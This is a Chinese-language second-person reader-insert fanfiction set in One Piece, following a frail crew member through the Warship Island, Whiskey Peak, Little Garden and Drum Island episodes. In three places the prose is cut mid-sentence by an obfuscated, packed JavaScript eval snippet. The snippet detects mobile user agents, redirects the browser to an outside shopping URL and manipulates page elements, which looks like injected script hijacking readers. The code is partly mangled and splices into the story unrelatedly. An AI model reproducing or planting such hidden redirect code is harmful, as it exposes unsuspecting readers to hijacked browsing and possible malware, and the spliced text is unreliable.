路飞看见你也被悬赏心情十分美妙,他伸手揽过你的肩膀脸和你贴得很近,体温源源不断地从他的手臂朝你脖子袭来,你身上冒汗,但也不算讨厌这种体验。他总在笑,开朗活泼地对你说你也被通缉了啊,三十万贝利,你比我少呢…… 他还是不擅长喊你的名字,中文对于说日本话的美国人,呃,总之是欧洲人吧,总是说不好正确的发音,你对此表示习惯,且放弃纠正。 你极为顺手地再摸了一把他的脑袋,“嗯哼,这下我的人生彻底和你们绑在一块儿了。”然后对着在你旁边的娜美说嘛嘛,没事的,被悬赏这种东西本来就是迟早的事儿吧?除了你的悬赏金实在低得没眼看以外。 娜美戳着你的脑袋说你就不能对这种事儿上点心吗? 你左右看看,“这个,这个,难道我不上心吗?” 登上罗格镇之后你觉得娜美应该把上面的问题抛给路飞,悬赏金过千万的少年被烟鬼当场捉住,若非神人相助,这上船的情况将会更加惨烈。一群人被路飞用橡胶火箭冲击飞跃直扑船帆又往下坠,你给他们一人一条毛巾让他们注意身体,虽然你觉得依凭他们怪物一样的体质,这种事情应该都不算事。 大雨磅礴,大海辽阔,雨投入海的怀抱,犹如游子归乡。 One Piece。 伟大航路,欢迎每一个放弃归乡的游子浪人。 你把腿抬高,用脚跟搭在木桶,众人开始讲述自己的梦想,轮到你时,你将视线扫过众人。原先只存在于纸面上的同伴啊,你的脑海闪过无数思绪,最终,化作一句让人不明所以的话,“我想要快乐。” 你呢,只要快乐的,没有悔恨的人生。 平静航行的日子里你在甲板上坐着躺椅低头翻阅从罗格镇买回来的冒险小说,你的脑袋顶着头戴式耳机听着手机下载的歌单,同伴的声音你基本都听不大见。 除非有人闯祸。 巨大的浪花在右侧出现。 哦,有人闯祸了。 你把耳机往下一摘,把脸上淋到的水给抹去再跑去船舷往那一靠,看向被用绳子拉回的索隆。 “喔!今天又是你倒霉啊,索隆。” 浑身湿透的少年正用毛巾擦拭身体,听你出声当即一脸凶相地抬头看你。 “幸灾乐祸什么呢你这家伙。” “毕竟我没被我们亲爱的船长扫飞。” 路飞凑了过来问纳尼纳尼,找他有什么事,你揉搓一把他的脑袋,说没事,我们去看看那个小女孩吧。 被路飞捡来的金发小女孩在你们吃饭的时候睡醒,听到你们是海贼之后整个人吓得僵直,一直到晚上才差不多收拾好自己的心情出门,碰到被老鼠夹捕获的路飞。 你顺便在晚上吃了顿夜宵,并且十分庆幸你在晚上已经吃过东西了。 你很冷静地把一坨焦炭端给路飞,路飞很自然地接过,甚至礼貌地对你道了声谢谢。看到此景索隆和乌索普指着你对山治说那她呢。山治有些为难地看向你。你摆摆手,“抱歉,我没有伤害自己肠胃的习惯。” 你多少重点提醒过你的体质比不上他们所有人,无论是恢复能力还是肌肉密度。 乌索普都比你强。 乌索普:喂,我听到了。 你:我在夸你呢,心肺功能强大才能跟上这群怪物的脚步啊。 乌索普听到你的夸奖很高兴,你顺势委托他给你造个武器试试,作为草帽海贼团的发明研究一把手,你表示自己完全相信他的能耐。 当然一直这样是不可能的,你还是有在锻炼避免自己哪天连逃跑都成拖累,那样就太不像话了,你一点儿都不想当累赘。 索隆给你哑铃让你举起来的时候你的手抖得不像话,他扶稳你的手让你注意自己的呼吸,摆正姿势,再度尝试,你费劲去提,结果就是你的腿和你的手都抖得不像话。索隆眉头紧皱,“这种程度都不行吗?” 你:谁是你这样的体能变态啊。 就算你有大概三个月厨师锻炼,那正常铁锅也才俩公斤,索隆手上最轻的哑铃都是十公斤起步,让你拎着这个东西锻炼那简直就是在翻倍训练你啊翻倍。你要是能回家你的体测都完全不用愁了,什么八百什么体前屈什么俯卧撑,统统不在话下。 山治在你训练结束时总会体贴地为你端来恢复体能的药膳,队里有厨师就是好啊,忽略掉闻到香气跑来撒娇也要吃的路飞和山治的闹剧,你力竭而歇,身体靠在墙上气喘吁吁,娜美适时拿着毛巾过来给你擦头发,问你今天感觉怎么样? 你说感觉还行,最起码不会再因为运动剧烈次日肌肉拉伤肌肉酸痛这种原因连床都起得困难。 几番吵闹过后小女孩阿碧丝的心情由盛转衰,小小年纪就一副心事重重的样子。你大概猜想得到她在犹豫什么,即使小孩再怎么没心没肺,也总会想家。水流淌过你的手心,你回到阿碧丝的身边在她眼前弹出零星的水花。 她的眼睛映出你的笑,柔软顺滑的触感在你的手上蔓延,“有什么想法就说出来吧。” “小孩本来就拥有麻烦大人的权利。” 然后你们就决定出发去军舰岛了。 海军的到来即是意外也是预料之中,阿碧丝说自己是从海军那边逃出来的,如果不是犯罪就是典型的怀璧“有罪”,她有让那群海军不计代价也要得到的东西。所幸你们这群人对于她别无所求,海浪扑用,天气怡人,借东风,噢不,借南风,你们的船迅速地超过海军的追舰距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538335|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离。 你们进入无风区,海王类的突然出现打得所有人都措不及防。索隆已经做好战斗的准备,而你则默默为待会儿要进行的努力默默祈祷,别让你肌肉酸痛死好吗?得幸于阿碧丝的帮助,你们体验了一把空中飞人一样的感觉,可以啊,你举起手机打开相机模式让所有人朝你看过来比耶,镜头感最好的是娜美,其次是路飞,他呲着牙乐呵的样子感染力十足,山治叼着玫瑰花的画面挺唯美的,不过索隆茫然的面孔和流着面条眼泪的乌索普因为反应不及时就只能屈居角落了。 你收回手机。 乌索普:你也太淡定了点吧? 你:只要死不了就都不是什么大事。 —— 【202x年x月x日 170天 醒来时我身上披着山治的外套,感谢他让我免去了夜晚着凉导致生病的可能性。 …… 我在阿碧丝的秘密基地里瞅见一头巨大的龙盘卧着,阿碧丝和路飞他们当时说了很多话,可我都忘记了。 我只记得祂的眼睛。 …… 我好像读懂了祂的眼睛。】 离开军舰岛后,你是除阿碧丝以外最粘千年龙的人。你也不做什么,就是喜欢呆在千年龙的身边,看书或者和它一起发呆,偶尔夜里你还会就着它的羽毛沉沉入眠,它的翅膀会很体贴地盖在你身上以保你不会掉进海里。 就连阿碧丝都吐槽过一次姐姐你是不是太粘龙爷了。 你:“呃……我只是,觉得他很好?” 你:“嗯……他给我一种,很厚重的安全感。而且龙爷也不排斥我靠近他,对吧?” 阿碧丝:“是这样没错啦……” 龙爷睁开它琥珀色的眼睛,阿碧丝同时睁大眼睛,“龙爷他说你和他很像!为什么?” 你:“哈哈,是啊,为什么?” 暴风雨来了,它推搡着黄金梅利号往来处返回而不是继续前进,绳索被挣断时你是反应最快之一,手在麻绳的巨力摩擦之下轻易地就被磨破掌心,你和阿碧丝的血混在一块儿,喉咙里的声音也是同时迸发的,“说什么呢龙爷?!我们绝对会把你带回家的。” 祂的眼睛沉沉地看着你们。 你回给祂一张笑面:“不用谢。” 阿碧丝拥有着符合这个年纪的聪慧,她把颈间的项链塞进石门的缺口,你们原地掉落,圆顶之上的图画被你拍摄下来拉入收藏,镰鼬人的到来没有让你们惊讶,但路飞用头撞墙,墙裂开一个大洞(在路飞的旁边)这件事让你们无言以对。 山治:“这比原始人还要糟糕。” 你:“深有同感。” 然后你用掌心推开山治贴上来的动作,“现在不行,少年。” 灰尘太多了,你有点嫌弃。 索隆拦住路飞伸腿想要出招救人的举措,明明都已经说过一遍了这时候出手那个人妖很可能把你们都给杀死。这个笨蛋船长到底怎么理解他说话的。路飞停下的同时他把目光看向黄金梅利号与千年龙的所在地。你和阿碧丝死死护在千年龙的身前,一大一小的身影甚至在某一刻有所重合。 你太拼命了。 人妖男箍住你的脖子让你呼吸困难,你呛咳着的面貌让他下意识握紧手里的剑。你为阿碧丝免去了被人掐脖威胁的困境,而你自身的困境则需要你自己来解决,你的双手紧抓他的手臂,尖利的指甲掐陷近他的皮肉,他立刻吃痛,给你的腹部狠狠来上一击。 唾液混合着胃袋的反刍物吐到地面,你捂着腹部蜷缩在地,痛苦到难以发声。 龙爷救助了你。 阿碧丝在欢呼着祂的飞升,你缓过剧痛,艰难地抬头。祂的身姿壮丽雄伟,直直俯冲,无论多少炮弹砸落,祂的目标都很明确——海军的主舰队。 你的瞳孔瑟缩着,内心不断地祈祷,不要掉下来啊,龙爷。 千万、千万,不要掉下来。 龙鸣长留,千年龙成群结队地飞来,炮弹无能,龙爷倒地,在生命的最后一刻,他把遗言传给了路飞。 路飞回来的时候让所有人都体验了一把在木船上感受蹦蹦床的威力,你呛咳出声,就近的索隆把你扶稳。“谢了。”你握紧他的手给自己的身体找了个稳当的支撑,震颤还未结束,龙岛在真正地浮现。 龙爷的身影却不再能离开水面了。 你委托索隆把你带下去,去龙爷的身边。索隆喂了一声,“你的身体可以吗?” 你:“死不了,安心吧。” 他依言把你带了下去,为了避免你的腹部二次受创,他是用手臂托抱着你带你跳下去,然后跑到龙爷那里的。 池水太深,你有伤不好入水,你坐在龙爷的前面。阿碧丝迟你们一步来到这里。 她在哭泣。 而你却平静得不像话,你问跟过来的路飞,“祂最后快乐吗?” 路飞压着想要就风逃离的草帽,眼睛也注视着龙爷,“啊,是的。祂还拜托我告诉你,祝愿你也能回家,我的朋友。” 你:“是吗?” 4. 阿拉巴斯坦副本1 索隆醒来时给了薇薇(这个时候还叫Miss Wednesday)和Mr 9这两位巴洛克工作社的干部很大压力,他俩身形紧绷,侧目相对。一直到娜美过来狠狠给了索隆几个大包他们才放松下来,平时最爱看他笑话的你此刻躺在甲板上遥望天空压根不想起来,腹部伤势还在隐隐作痛,你这忍痛能力……以前的你可完全不是能忍痛的家伙啊。 “真是倒霉。” 你颤抖着站起身,山治在旁急忙抓稳你的手,他低声喊着你的名字,让你不要勉强。你将手搭在脖子上感受着那里肌肉拉伸与脉搏鼓动,那里留着浅浅的细痕,过几天就好了,既然危机暂时解除,你决定回到船舱休息。 你松开手,转过头朝山治微笑道谢。 山治和你说话时的嗓音温和地不像话,“能够帮助到您是我的荣幸。“而在看你还未完全恢复的状态时那两道秀气的眉毛又止不住地下压,语气也凶狠不少,“可恶,那个人妖,果然还是打轻了。” 因伤休养的你在度过颠倒山时被那个该死的镰鼬人抓获成为复仇的第一要员,脖颈二度被抓,你怒火中烧,玛德要不是因为这混蛋你都不至于受这么重的伤,腹部受挫,他的拳印可是在你腹部结结实实留下大片淤青。 本来路飞已经给他狠狠揍过一顿了,结果还来!趁着他病你也病,你强忍伤痛给他来一肘击,他吃痛松手,他正要发怒,你迅速蹲下伸手抓过索隆递来手心调换位置,山治和娜美一前一后,将你护在身后。 一切不过须臾之间,你们配合默契,合作无间。 那人妖男被二刀流砍至胸前蹦出两条交叉的血流,被创进奔流不息,不符常理往上奔涌的水流。 风雨扑面。 你们破过云层,来到山顶,水流过着急转弯,清丽之景就在你们的面前,你们终于抵达真正的伟大航路。来到双子峡。 你们遇到了拉布,这条拥有着催泪过去与坚持的鲸鱼在让你们众人心生感动的同时也碰到了好心人库洛卡斯,他给你身上的伤做了二次处理,并在这之后皱着眉跟你们的好船长说最好赶紧找个医生。 你的体质可是海贼里少见的弱啊。 库洛卡斯:“不,应该说极为罕见的弱。” “这种伤本来不应该存留这么久。” 你:…… 你:“虽然知道这是实话,但我听到了一点也不开心呢。” 路飞当然也早就意识到此事的重要性,说当然了,他们下一个伙伴就是医生。他甚至试图邀请库洛卡斯上船,库洛卡斯直言说不,我的航行早就已经结束了。现在他的使命就是守着拉布继续履行他的本职。 剧情真是又改变又提前的。 路过索隆时,你极为顺手地揉搓了一把脑袋还在隐隐作痛的索隆的头,带着点抱怨也带着些打趣,“睡得这么死,刚刚可是就连伤员本员都出来干活了,活该你被打啊,索隆。” 按照平常这会儿他不是叫痛就是叫喂,你想要不下次在这个时候说你不叫喂你叫楚雨荨吧,但是那时他的反应就是认了随你怎么摸和蹂躏。 你不敢置信,甚至伸手捏扯他的脸,这下他烦了叫你适可而止。 噢,恢复二分之一原样了。 你静静地打量索隆俩秒,伸手再扯他脸,他额冒青筋呼出一气,抬眼看你“够了没有?” 你见好就收,回他,“一般。” “啊?” 之后是路飞的响声,“看到岛了!” 你们齐齐转头,高伟神奇的威士忌山向你们展示它的面貌,(山顶这么像仙人掌为什么不叫仙人掌山?)薇薇和Mr9干脆跑路,进到里面时还有一个不断叭叭叭试音的管家模样的男人带着一群人说欢迎你们,你咬着吸管吸食饮料,山治刚刚给你递过来的。 这鬼地方真是有够古怪的,你身上有伤,疼痛影响你的心情,在不必要的情况下你是不打算参与接下来出现的事情。所以你和娜美说了一声你打算留在船上休息。娜美担忧地看着你。 你对于这艘船上硬要说也不是不能算得上战斗力,但你的体质让人实在担忧,同等的伤势换算到船上的任意一人都不过是一天甚至半天就能好全的东西,但放在你身上却截然不同,你至今没好,她和你同居的时间里看过你撩开衣摆袒露的青紫腹部,与你健康的肤色形成鲜明对比,几天过去仍不见好全。 娜美为你热敷的时候总是心疼,你边呼痛边卖可怜。她叹息一声,人妖男的事件让所有人深刻意识到你平时说的话真假如何。 “要不留下个人陪你?” 索隆半倚在船沿,沉默等待,他几乎默认了自己会被你选中留下来护着你的使命。当然,山治毛遂自荐,打算挤走索隆承担看护lady的责任,他认为比起索隆,果然还是他更靠谱一些。路飞把头转过来看向你,比起你所说的提议显然他更希望你下去陪他一块儿聚会,乌索普在那边不过是被哄了几句就乐得找不着北。 你坚定自己的主意,说“no,伤员要静养。” 同时也拒绝了娜美说留下一人在这儿陪你的建议,你和娜美咬耳朵,说你在这里不一定有事,但下去的话就不一定了。娜美把眼睛看向那名和蔼慈爱地笑的叭叭叭男性,他身前站着的路飞正朝你们招手,完全没有危机感啊,那家伙。 娜美是最能理解你的人,她悄悄捏过你的手心,如同羽毛撩过,你把下巴搭在她的肩膀,说记得早点回来哦,你一个人还是会觉得寂寞的。 娜美橘色的短发扫过你的脸,痒痒的,她亲昵地捏过你的鼻尖说真是的,她知道了,别撒娇。 你:“嗨嗨,一切都听娜美大人的。” 下午,你在船上看甄嬛传,隔壁热热闹闹,人声鼎沸。 晚上,你在船上看甄嬛传,隔壁还是热热闹闹,人声鼎沸。 深夜,你闭着眼睛睡觉,隔壁这下不是热闹,而改成激烈的打斗厮杀声,你打着呵欠伸手往床沿抓握将提前备好的耳塞塞进耳朵,翻身继续睡觉。 一觉睡醒,神清气爽。 意识由模糊转为清醒,你打开门,一道倩影挡住你的视线,薇薇对着你的同伴喃喃自问,娜美在纠正她的言辞缓解她的紧张。路飞注意到你的出现,朝你挥手,“噢!■■,你醒来了。” 乌索普道你怎么才醒。你摘下耳塞,理所当然地回他,“你在说什么?” 乌索普表示无语,但看着你精神很好的状态下又叹息一声用手擦过鼻子,“算了,也幸好你没有睡醒。” 不然的话也不知道之前出现的那个危险的女人会对你做些什么。 娜美教训完薇薇之后才过来找你,她拉着薇薇的手,心情愉悦,有点像是一只捕猎到食物的猫在和你炫耀,“你醒来得刚好,这是薇薇,我们的新同伴。” 她把你不在时发生的事儿大概地给你讲了一遍。 你对此表示欢迎,见她实在精神紧张又问她,“你对电影感兴趣吗?薇薇。” 你的平板里除却甄嬛传还下载了一些日语片(浪客剑心什么的),这里的人都能无障碍听懂。噢,说不定索隆对里头的剑士很感兴趣。薇薇对你的示好还是有些紧张,或许是因为你并没有参与进解救她的行动力里吧。 你问她,“你喜欢什么类型的电影?煽情还是动作片?” 她有些迟疑,但娜美和你友善的态度之下,她还是试探性回答你,“我喜欢……冒险类的。” 你扬唇笑笑,“那正好,我有不少。” 花园岛上罕见阴雨天,你们到来的时候这里阳光正好,大树参天,稀奇古怪的远古生物遍布各地,还有活火山在运动。 路飞对于这座岛表现出了明显的兴趣,他蠢蠢欲动,整个人的眼睛都在发光,要不是山治还在准备特制的海贼便当,这人就要冲下去了。 你看着天沉沉地吐息,即使是事先讲过一遍这座岛可能存在的危险,只要你们的航线是要朝着阿拉巴斯坦,那么拥有庞大人力资源的巴洛克工作社必定会派出特工对你们进行追捕,而在遇到他们之前,你们对这种危险可以算是未知。 总而言之,想要冒险的船长是拦不住的,但给他传递消息又是必须的,所以,你把手放在他的肩膀,让他稍微镇定点,“先别急着走,captain。” “电话虫,带了吗?” 路飞从背包里掏出带着草帽的电话虫,小蜗牛很可爱,它露出的笑和他几乎完全相同。 “好吧,你可以走了,记得接电话,captain。” —— 山治认为今天可以比作是他的幸运日,在他要和索隆来一场胜负之前你先行一步,温冷湿润的手沾湿他的后领,他被不算温柔地扯回甲板,你由他的身后转至他的身前,他能看见你为方便行动特意扎起来的马尾辫下垂,你的手从他的后颈滑下来到他的臂膀,然后自然地挽过他的手臂,感受他被西装包裹住的颤栗。 山治难免心猿意马,这是正常的,他安抚自己,心脏剧烈的跳动之中他暗含着期待,他近乎是下意识地幻想你接下来要做什么,或许是一场在惊心动魄的冒险中你依附着他的约会,你会像现在这样牢牢紧握着他的手臂祈求他的保护,他一定会像一个骑士一样保你平安,让你和他共赴爱河。 对他的幻想一无所知的你说,“比起你们两个男人之间的所谓较量。” “我有更在意的事情,山治,你和我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538336|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起去看看。” 索隆闻言抬眼看来,他将目光扫过山治,其犀利的眼神好像要看透这位金发厨师的整个灵魂。而这种眼神形如挑衅,激得山治舌抵上颚,用夹杂着弹舌的语调说混蛋你看什么呢? 索隆自然而然地忽略了他,对你说“你确定?” 你说是的,这件事非他不可。 山治在你的旁边将自己扭成麻花,俊秀的脸难掩羞涩。很多时候你看着你觉得自己并没能够看清他的内在,比起真的喜欢你或者娜美,你倒更认为这一切都只是他的保护色。他有着不愿让你们探究的内里。 某次你想事情想得出神,注视的对象是正在涮洗碗筷的山治。他注意到你的视线,一开始麻利的动作逐渐迟缓,然后沦落到手脚都不知如何安放,转过身来看你的时候他宝蓝色的眼睛低垂着看你。 被一位女士长期的瞩目,这个人会心猿意马。而在瞩目的期间,你不吱声,只是从始至终地看着,他就会不知所措,整个人在你的面前矮了一截。 他试探地问你,“是有什么事情想要委托我吗?” 你伸手拂过他常年垂下遮挡住半张脸的头发,他的瞳孔瑟缩,下意识地要往后撤,你跟着起来,他压着紧张稳固身形。 你深色的瞳孔里他身形狼狈,他不知道你想做什么,他又有点期待你做什么,总之,拜托,尽早摆脱现在这个状态…… 实际上你更希望他会有索隆那样的反应,反抗你,对你说明白自己的不适,又或者别的什么,总之不要把自己困在自己建筑的囚笼之中,但很显然,每个人都有自己跨不去的坎儿,你也没有虐待同伴的爱好。你摸了摸他的脑袋,很轻柔的力度,你对他说“山治君,你是个很好的人。” “有你当同伴真是太好了。” 总而言之,现在的你更注重于处理掉那些潜在的危险。你把黑足山治带走,是因为你觉得他对于如何闯入敌方老巢有着十分满分,他得十分的运气,试着回忆一下,大部分剧情里他总是会有一段时间消失,然后办成一件协助所有同伴的事情再回来。 既然那位mr3喜欢使阴招,那作为受害人的你们又为什么不能阴回去?临走前你抛了只电话虫给索隆,并委托娜美也记得随时携带,你们有事会和她联系。 跟着你在一块儿的山治精神持续高涨,你总觉得这个男孩儿底下还藏着什么,期间你一直拉着他的手没有放开,他也一直没松开。这人对肢体接触不讨厌啊。 你的目标明确,一直朝前走…… “■■桑,你有没有感觉到有谁一直在跟着我们?”山治。 你看眼底下的阴影,“我觉得这应该是一句肯定句,山治君。” 你们扭过头,一直庞大的霸王龙就这样出现在你们的面前,它对你们垂涎三尺,可惜你对恐龙实在没有兴趣。你扯过山治的衣袖,他往上踢腿,仅使一击就让那恐龙就倒下。 “果然厉害啊,山治。有你在实在是太让人安心了。”你如此夸赞,山治有些不好意思地挠挠后颈,朝后看去,说哪里哪里,这身本领能保护到你实在是太好了,请继续依靠他吧。 “不过我们已经走了这么久了,那群混蛋的老巢可真不好找啊。” “别着急,”你蹲下来用树枝戳动恐龙的脑袋,它一点一点,不见苏醒的痕迹。真死翘翘了?我去。 你带着他继续往前走,手里的树枝四处划动 走了这么久居然都没找到那群家伙的据点,真是麻烦啊。 “再找找吧,如果真的找不到,我们恐怕得先去找路飞他们了。” Mr3那场仗,你记得他们打得可是相当狼狈啊。 皇天不负有心人。 当那栋白色建筑物映入眼帘之时,你们同时屏息,将身形隐入这隐蔽的丛林之中。蜡制的造物之中传来讨论的声音,里头分了俩拨人。 他们大概解释了出现某个疑似爆炸声响的原因,并复盘了接下来要干什么的。你和山治四目相对,你能感受到自己的手心逐渐湿润,你们的电话虫忠诚地转播那些悉索声响,千万别被发现啊,你们俩个。 火山开始轰鸣,白屋子出来出来四人,然后俩俩组队地离开。 你和山治在原地继续等待了十分钟,确定这群人不会再回来后,你招呼山治和你潜入进那个屋子,你们把里头的东西尽可能地翻了个底朝天,有用的却只有一只电话虫。 算了,也行。 你和山治坐到对座的椅子上,说真的,有点咯人。 那个电话虫就放在台面。 你喝起山治为你们而泡的茶,“好了,让我们在这里等待吧。” Mr0. —— 5. 阿拉巴斯坦副本2 一切向好发展。 布洛基和东利并未进行不公之战,反而是齐心协力,和路飞他们一起解决了图谋不轨的巴洛克工作社众人。 你和山治也顺利处理掉飞来的不吉利组合,和克洛克达尔进行友好对话。 你们和路飞顺利集合享受战后的宴会。 在到达期间你把目光放在娜美的身上,娜美穿着的还是来前的长袖长裤。你问她有没有被蚊子咬的感觉,她在自己身上左右看看,仔细感受,除去战斗之后留下的擦伤在痛以外其他都没什么特别的。 你闻言仄眉,你们的手相握着,你的指腹擦过她的手背,满是怜惜。她看着你的眼睛,你总是会在一些时刻展露出让人心软的表情。 她拿你没有办法,好吧,她早就知道了,她大概是永远都不会拿你有办法的。 娜美为你撩开遮挡你侧颜的头发,“已经很好了,■■” “如果按照那群家伙的计划,我们现在的伤势只会更加严重。” “已经很好了。” 她安抚你。 你逐叹息出声,“我知道了。” …… 等一下,为什么手臂痒痒的?你侧目去看,就见一只蚊子吸饱了肚子洋洋洒洒地离开你的手臂,然后,你的手臂起了个包。 你:…… 请相信你,你在此刻的想法就是不可置信,what the hell?你深呼吸,盘算刚刚那只史前蚊子会否无毒,你不敢打赌,但也不确定自己的运气是否就这么差。 说不定呢? 说不定不会有事。 幸运女神并没有在此眷顾你。 金鱼被布洛基和东利的霸气消灭,壮丽的美景逐渐从你们的视线离去,你看着蔚蓝色的天意识到事情大坏,你开始头脑发热,呼吸急促。 明明那淤青才好不久。 你真的,你! “——!!!” 你听到有谁在叫你。 你的嘴张张合合,你的意识已然不再清晰,你只能抱希望你的最后一句完美地表达你的意思,“我要!医生!” 第二次清醒是在床上,耳边喧闹,你感觉自己像是被忽然丢到菜市场,不,果然还是处刑台吧?头疼得要死,耳朵也是。 你咳嗽出声,剧烈的反应让那些刚还在吵闹的家伙们瞬间静音,你费力地睁开沉重的眼皮,山治嘴里叼着未点燃的烟,乌索普和路飞好像被什么东西镇住一样,娜美手上还拿着一条湿的毛巾。 你:“…我还…没死。” 你:“你们几个,咳,咳咳,能不能说我点好的?” 路飞抓紧你的手,你的手心被高温蒸得流汗,他分毫不在意,只是带着笃定的口吻告诉你“我们一定会找到医生的。” 你闭上眼睛,“拜托你们了。” 高烧把你烧糊涂了,你真正算得上清醒的时间很少。偶尔几次的五感回归,耳边都是路飞的声音,还有橡胶的那种独特吱吱声音,他在说你还是没有反应,嗓音比起往日的活泼此刻更多的却是失落担忧,你忍不住叹息。 明明你比这艘船上的人大不了多少。 你配合地笑了下,就见路飞顿时高兴得伸手缠住某个过来看望的倒霉蛋的手把他拖过来看着你笑。路飞问你好点了没有?是不是比之前要好些了,别闭着眼嘛,睁开眼睛看看他们嘛。他还是更喜欢你没生病之前的样子。 话说得太多太密,你都不知道自己该回复他哪一句,你伸手扯过他的脸,力气轻到这橡胶人的脸皮都没有拉长。真是没招了,“是,是。我已经累到睁不开眼睛了,饶了我吧,路飞……咳咳,我得看医生才能康复啊。” 某一次睡醒,应该是在晚上。你能感受到自己的身体机能还在为你奋力作战,你的高烧不退,你的神志不清。恍恍惚惚,恍恍惚惚,你感觉自己好像回到了过去。年幼的孩子总是多病,你小时候也是这样的,你发着高烧,迷茫中睁眼,所有爱你的人都围在你的身边,他们分别承担着送水、关切、安抚你的任务。 你沉沉地吐息。趴在你手边的薇薇此时清醒,其他人正在忙着让船行走在夜色之中,他们全力出发,只为了能让你早日康复。 “你醒了!有没有觉得身体好受些了?”薇薇抓着你的手,满目关切。你的身上盖着厚实的毯子,脑袋顶着冰凉的毛巾,估计是刚刚才换。你回握她,希望她感受你的温度。你的脑子好像在高烧里炼铸出铁一般的精神,烧过头了? 你竟变得离奇的清醒。 你说,“抱歉。” “?”薇薇把手探向你的额头,“太难受了吗?” 你:“阿拉巴斯坦出事了,对吧?” 早些时日,娜美收到报纸时你和她一同看过,你们都知道阿拉巴斯坦的糟糕情况,才在小花园岛上费力谋划,只为早点过去好帮助薇薇。你并不清楚如今藏着担忧国民的心事的薇薇花了多大的毅力才能止住自己想要飞奔到阿拉巴斯坦的心,但你清楚,“我们不会让你等太久的,薇薇。” 你:“相信他们吧,也相信我。” 相信保你十九年不受重大疾病伤害的身体不会让你就此倒下。 你知道你的身体一直很爱你,就像所有爱你的人一样。① 你们成功地登陆岛屿,某位可怜的剑士被要求留下看船,路飞带你走前是他在看护你。索隆很少袒露自己的心迹,关切也是别别扭扭的,他手持武器护在你的床沿。见你苏醒,你只是下意识抬手他的脑袋就自然而然地凑近,你的掌下是柔软的一片。 ……怎么这么像狗?他把眼睫撩开,黑沉的阴影搭配他闪着凶光的眼神看着极为瘆人,你沉默。 恶犬? 你开口,“就这么确定我想做这个?” 索隆:“你招手除了为这个还能有什么别的意思?” 你:“说不定是想给你一拳。” 索隆扯过唇角,“我什么时候惹你了,你这家伙……。” 你快要合上的眼睑又让他改了口风。“如果真想这么做,等你病好了再说。先提前告诉你,我不会手下留情。” 你无语,“喂,我可没说过要和你打一架。” 路飞带你走了。 你还是很虚弱,在听到要爬上万米高山的时候你怀疑自己可能真的要死。娜美咬着自己拇指的指甲在你身旁原地打转,不行啊,这样不行,你的体质很难支撑你在这种天气朝那么高的地方过去。 乌索普在问那位多尔顿先生,“难道就没有其他办法了吗?” 多尔顿摇头,“Dr.库蕾哈行踪不定,之前她已经下来过一次,最近可能不会再下山了……” 周围乱糟糟的一片,你看着天花板,在脑海里许愿,快点想出办法吧,你的脑子。而路飞这时却把目光朝向你,你从他清澈的眼底瞥见他的意思,你瞬间气笑。他却好像没有听见,径直朝你伸手,“呐,我们去爬山吧。” “我们一定会找到医生的。” 就像之前你对薇薇说的,“相信我们吧。” 你也不是第一次知道这家伙气人了,你咳嗽两声,从被子里伸出手来,“我还有别的选择吗?” 他和你相握,嘴角咧开洋溢的笑容,“你明明也是这么想的嘛。” 你:“是是,要照顾好我啊。” 你确实是这么决定的。 往上爬的过程很糟糕。你发誓再没有什么事情是比你发着高烧还要顶着大雪爬山更糟糕了,冰冷的空气好像要冻结你的肺,你喉咙肿胀,昏昏沉沉,你觉得自己又要睡过去了,那样也好,睡着了总好过直面风雨的到来。山治和路飞好像在说什么,你又回应了什么,估计是没有意义的话吧,你抱紧路飞。 —— 一直到有温暖的气息包裹你,你好像回到了母亲的怀抱。 “你醒了。”沙哑但不失活力的嗓音率先进入你的感官,你的呼吸与之前相比要轻松不少。这下不仅是身体,你的心也舒了口气。你的额间触及一根指节,那道嗓音继续说着,“三十八度,马马虎虎吧。” “少年,现在的你快乐吗?” 你仔细感受,回复她,“一般般吧,感觉更想睡觉呢。” 你又说:“他们呢?” Dr.库蕾哈往旁边抬了抬下巴,在外面呢。他们正和乔巴玩得火热。 乔巴……? 啊,他们终于碰面了。你坐起身靠在枕头上,Dr.库蕾哈将酒饮了大半,给你讲解了很长一段你中的病毒详情,你没说话,她就继续。“你的体质和一般人不能比拟,如果按照常理,在找到我之前你很可能就死了,但是高兴吧,你的身体从未放弃你,所以,你活下来了。” 你忍不住笑,“我知道。” 你很早就知道了,即使是在那场疫情,你和现实世界里的大多数人还是努力地好好活下来了,不是吗? 在外边嘻嘻哈哈的三人组终于跑到你的房间,砰的一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就像皮卡丘一样呢,他飞速地闪现,磁波国王被狠狠地踹翻,你也就打算回房间继续休息直到这群人打完,山治人未到,声先至“你没事真是太好了,”你摸摸他脑袋,忽略他的花言巧语,把他提拎起来像抱小孩一样抱起他(索隆给你的训练相当成功)。“脊椎还没好就别乱跑了,山治。” 他好像幸福得要晕过去了。 你:“只是被抱着就变成这样了吗?要是被女性亲一下的话。” 你:“……山治,准备好资金还债吧,娜美会算账的。” 山治:“这真是幸福的烦恼……” 你拍拍他的背,带着他回房间了。 